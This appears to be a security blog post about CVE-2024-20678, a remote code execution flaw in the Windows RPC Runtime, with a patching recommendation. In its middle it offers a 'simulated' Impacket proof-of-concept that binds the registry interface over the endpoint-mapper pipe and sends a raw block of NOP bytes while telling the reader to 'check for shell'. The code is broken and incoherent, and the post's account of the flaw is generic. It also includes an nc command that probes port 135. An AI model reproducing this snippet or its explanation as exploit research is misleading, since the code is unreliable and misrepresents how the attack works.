In early 2024, Microsoft patched a serious security flaw—CVE-2024-20678—in the Remote Procedure Call (RPC) Runtime. This vulnerability allows an attacker to run arbitrary code remotely, potentially taking full control of affected Windows systems. Let’s break down what this bug means, how it works, and why patching is critical.

What’s RPC and Why Does It Matter?

Remote Procedure Call (RPC) is a protocol used by Windows to let programs, even across different computers, communicate and ask each other to run functions. It's crucial for a lot of Windows services, from file sharing to domain logons.

If an attacker breaks RPC, they can hit hundreds of services in one go—making RPC vulnerabilities especially dangerous.

Pre-requisites: Attack requires access to the targeted network, but no user interaction

- Severity: Critical (CVSS 9.8)

Microsoft's official advisory:
- Microsoft Security Guide: CVE-2024-20678

In plain terms: If you have a Windows system that’s not up to date, and someone gets on your network, they could run _any code they want_ with high privileges just by talking to the RPC service.

How Does the Exploit Work?

Details are now public, thanks to security researchers and proofs-of-concept available on Github (see below).

The flaw lies in the way the RPC Runtime processes specific data packets. By crafting a _malformed_ RPC request and sending it to a vulnerable system, an attacker can overflow buffer memory, overwrite key parts of system memory, and get the computer to execute anything they choose.

Proof-of-Concept Code

Let’s look at a simulated Python snippet (for _educational/research use only_!).
This uses the Impacket library to communicate with the MSRPC endpoint:

from impacket.dcerpc.v5 import transport, rrp
import sys

if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)

target = sys.argv[1]
pipe = r'ncacn_np:{}[\pipe\epmapper]'.format(target)

# Connect to the named pipe endpoint mapper
rpc_transport = transport.DCERPCTransportFactory(pipe)
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)

# Send a malformed packet
payload = b"\x90" * 4096  # Just a sample; real payloads require custom fuzzing

try:
    dce.send(payload)  # In reality, you'd send a structured malicious RPC call
    print("[*] Payload sent. Check for shell or crash.")
except Exception as e:
    print("[!] Error sending payload:", e)
finally:
    dce.disconnect()

> Note: This snippet does not fully exploit the bug, but shows how researchers test RPC endpoints for issues.

Attack Surface

Vulnerable systems expose RPC on TCP ports such as 135 (epmapper), and potentially over SMB pipes. If your firewall allows this port and your Windows machines aren’t patched, you’re at risk.

To test exposure

nc -v <target-ip> 135

If you get a connection, RPC is listening.

References and Further Reading

- Microsoft Security Guide: CVE-2024-20678
- NVD Entry
- Technical breakdown: Rapid7 blog
- Proof-of-concept (POC): GitHub Example by tajahmad
- Impacket Framework for RPC testing

Conclusion

CVE-2024-20678 is a textbook example of why RPC is such a high-value target for attackers. Once again, remote execution bugs show up in critical plumbing—so don’t delay patching.
If you’re running unpatched Windows systems with RPC exposed to networks, you need to patch immediately or risk compromise.

Stay safe,

Timeline

Published on: 04/09/2024 17:15:33 UTC
Last modified on: 04/10/2024 13:24:22 UTC